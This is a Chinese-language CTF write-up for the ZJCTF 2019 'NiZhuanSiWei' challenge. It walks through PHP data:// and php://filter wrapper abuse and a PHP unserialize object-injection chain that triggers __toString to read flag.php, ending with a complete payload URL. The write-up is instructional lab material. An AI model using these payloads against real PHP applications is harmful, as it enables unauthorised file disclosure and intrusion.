[ZJCTF 2019]NiZhuanSiWei1 详解

 打开题目,给了一些源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

以上就是题目给的源码,接下来我是咋样判断是用php伪协议做的呢

1、file_get_contents($text,'r')==="welcome to the zjctf")//  根据一行代码,首先file_get_contents是得读取到"文件"里的内容,而$text是一个变量,file_get_contents不能读取一个变量,(可以自己去本地测试一下),所以就必须得让$text变成一个文件,就必须得用到php伪协议中的    data:// 协议      data:// 协议 就是把字符串包装成一个文件来执行。

 

 2、第二个原因是  include($file);  //useless.php  当直接访问useless.php时,没有出现任何东西,就可以判断这可能需要    php://filter  来读取,通过以上判断,就可以得出这是个考php伪协议的题目。

 通过以上猜想  现在就开始解题。

成功读取到,如果没用data的话。

 根本没有读取到。

接下来就是用到preg_match()正则匹配函数了,

 

 如果查找到的话,就会返回  1  ,否则返回  0;

 所以file中不能包含flag,如果包含的话,就会执行,然后退出,拿不到flag,所以根据提示useless.php,先读取其里面的代码。

 由于我使用的过滤器是base64编码的,所以我们就得去解码。

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

得到这个代码。这里面用到了一个  toString() 函数,我们该怎么触发,

__tostring函数在  类    被echo、print等输出时会被调用,因为源代码中echo $password,所以这里给password传递序列换字符串。

__construct(),构造函数时

__destruct(),析构函数时

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

 以下是构造的序列化代码,

<?php
    class Flag
    {  
        public $file='flag.php';
    }
    $a=new Flag;
    echo serialize($a) ;
?>

解释一下为什么要这样写。

 

 根据题目给的代码,就是我们在序列化之后,赋值给password,password会被反序列化成原来的代码在赋值给password,然后echo $password,就相当于echo 了一个类,就会触发到我们写的代码里的tostring,最后就会

这里面的file为我们设置的flag.php。

 

 最后在源码里拿到flag.

playlod :?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

大佬的php伪协议详解

php - PHP伪协议总结_个人文章 - SegmentFault 思否

PHP伪协议详解-网络知识

有两篇   可以结合起来学习学习  

实在看不懂的还可以b站看这个博主讲的。

ctf-网络安全从入门到放弃-nizhuansiwei_哔哩哔哩_bilibili

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值